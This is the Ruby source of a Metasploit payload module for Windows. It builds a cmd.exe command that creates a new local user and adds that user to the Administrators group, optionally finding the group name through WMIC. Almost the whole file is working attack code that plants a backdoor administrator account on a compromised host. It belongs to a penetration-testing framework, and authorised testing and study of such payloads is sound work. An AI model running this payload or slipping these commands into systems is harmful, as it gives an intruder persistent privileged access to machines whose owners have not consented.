1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
###
7
#
8
# Extends the Exec payload to add a new user.
9
#
10
###
11
module MetasploitModule
12
  CachedSize = 282
13

14
  include Msf::Payload::Windows::Exec
15

16
  def initialize(info = {})
17
    super(
18
      update_info(
19
        info,
20
        'Name' => 'Windows Execute net user /ADD',
21
        'Description' => %q{
22
          Create a new user and add them to local administration group.
23

24
          Note: The specified password is checked for common complexity
25
          requirements to prevent the target machine rejecting the user
26
          for failing to meet policy requirements.
27

28
          Complexity check: 8-14 chars (1 UPPER, 1 lower, 1 digit/special)
29
        },
30
        'Author' => ['hdm', 'Chris John Riley'],
31
        'License' => MSF_LICENSE,
32
        'Platform' => 'win',
33
        'Arch' => ARCH_X86,
34
        'Privileged' => true
35
      )
36
    )
37

38
    # Register command execution options
39
    register_options(
40
      [
41
        OptString.new('USER', [ true, 'The username to create', 'metasploit' ]),
42
        OptString.new('PASS', [ true, 'The password for this user', 'Metasploit$1' ]),
43
        OptString.new('CUSTOM', [ false, 'Custom group name to be used instead of default', '' ]),
44
        OptBool.new('WMIC', [ true, 'Use WMIC on the target to resolve administrators group', false ]),
45
      ]
46
    )
47

48
    register_advanced_options(
49
      [
50
        OptBool.new('COMPLEXITY', [ true, 'Check password for complexity rules', true ]),
51
      ]
52
    )
53

54
    # Hide the CMD option...this is kinda ugly
55
    deregister_options('CMD')
56
  end
57

58
  #
59
  # Override the exec command string
60
  #
61
  def command_string
62
    user = datastore['USER'] || 'metasploit'
63
    pass = datastore['PASS'] || ''
64
    cust = datastore['CUSTOM'] || ''
65
    wmic = datastore['WMIC']
66
    complexity = datastore['COMPLEXITY']
67

68
    if (pass.length > 14)
69
      raise ArgumentError, 'Password for the adduser payload must be 14 characters or less'
70
    end
71

72
    if complexity && pass !~ (/\A^.*((?=.{8,})(?=.*[a-z])(?=.*[A-Z])(?=.*[\d\W])).*$/)
73
      raise ArgumentError, "Password: #{pass} doesn't meet complexity requirements and may cause issues"
74
    end
75

76
    if !cust.empty?
77
      print_status("Using custom group name #{cust}")
78
      return "cmd.exe /c net user #{user} #{pass} /ADD && " \
79
             "net localgroup \"#{cust}\" #{user} /ADD"
80
    elsif wmic
81
      print_status('Using WMIC to discover the administrative group name')
82
      return 'cmd.exe /c "FOR /F "usebackq tokens=2* skip=1 delims==" ' \
83
             "%G IN (`wmic group where sid^='S-1-5-32-544' get name /Value`); do " \
84
             'FOR /F "usebackq tokens=1 delims==" %X IN (`echo %G`); do ' \
85
             "net user #{user} #{pass} /ADD && " \
86
             "net localgroup \"%X\" #{user} /ADD\""
87
    else
88
      return "cmd.exe /c net user #{user} #{pass} /ADD && " \
89
             "net localgroup Administrators #{user} /ADD"
90
    end
91
  end
92
end
93

94